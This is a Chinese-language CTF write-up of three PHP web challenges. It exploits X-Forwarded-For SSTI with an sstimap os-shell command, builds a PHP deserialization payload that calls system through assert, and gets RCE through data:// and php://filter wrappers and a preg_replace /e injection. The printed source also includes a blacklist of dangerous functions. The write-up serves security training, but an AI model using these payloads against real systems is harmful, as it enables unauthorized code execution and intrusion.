[BJDCTF2020]The mystery of ip
打开首页,三个页面,第一反应是xff伪造
有思路了,但是扫目录,看源码还是要做的,避免漏掉东西(尝试后无果)
try一下xff果真如此,到目前为止:
-
一个XFF伪造
-
3个页面(无接口参数)
这种情况可以结合xff扫一下目录,然后重新看看代码,but未遂
那就只能从xff本身下手了,xff的值会被打印在前端,XSS或者SSTI是可以考虑的
SSTI
打一下SSTI(其实XSS也是存在的,不过很鸡肋)
漏洞存在,也不想管它是什么模板,直接工具一把梭
python sstimap.py -u http://xxx.com:8080/flag.php -H X-Forwarded-For:* --os-shell
得到flag,直接收工
[网鼎杯 2020 朱雀组]phpweb
访问页面,直接报错+5s一刷新
报错内容为时间方面的,默认的传参也为时间
尝试将此参数修改为当前时间,一样报错
查看源代码(无果)
扫目录(无果)
没有新页面,没有新信息,只能看看另一个参数func=data
可以看见回显中有一个data()
,加上参数名为func,此参数可能传递参数名
那么另一个参数p可能为parameter
(即"参数"的英文)
简单try一些简单的函数,果真如此
执行一下命令,这里尝试执行命令未遂,尝试读文件,成功读到源代码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array","uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}
}
class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}
}
?>
过滤有点狠,入手点肯定是gettime的call_user_func方法
unserialize不在黑名单中,Test类的gettime不经过过滤
这里使用反序列化(只过滤了func没有过滤p,反序列化后进行析构时可以执行,且此时无过滤)
<?php
class Test {var $p = "system('whoami')";var $func = "assert";
}
$a=new Test();
echo serialize($a);
?>
//O:4:"Test":2:{s:1:"p";s:16:"system('whoami')";s:4:"func";s:6:"assert";}
找flag,就是朴实无华翻文件find /* -name *flag*
然后直接读取flag
[BJDCTF2020]ZJCTF,不过如此
访问初始页面,是php源码
<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php}
else{highlight_file(__FILE__);
}
?>
需要绕过file_get_contents()
的内容判断
直接上伪协议(记得url编码):data://text/plain,I+have+a+dream
成功绕过,接下来就是include()
,不能包含flag
可以尝试data协议直接包含php代码进行代码执行,未遂
题目给出提示next.php
那就伪协议读代码:php://filter/read=convert.base64-encode/resource=next.php
base64解码后代码如下:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}
首先看看这个正则替换,出现了/e
,不知道是啥,查一手文档
省流:rce
那么这个\\1
是什么呢?直接写代码试一下
一目了然,是匹配到的子项,\\1
表示第一个子项目
正则RCE
此时我们要在strtolower中调用getFlag()
进行rce,思路有二
一个是拼接命令(未遂)另一个是使用可变变量(因为是双引号)
echo "${@phpinfo()}"
一样会触发此效果
此时是不是可以直接eval执行代码呢?
首先我们要参数名正则匹配命中,因为是get的参数转换了诸多符号,这里可以使用\S*
表示任意非空
之后是内容,本来是尝试eval和assert的,但是一直调试一直出问题,最后发现是不支持'
这里使用题目已经封装好的getFlag()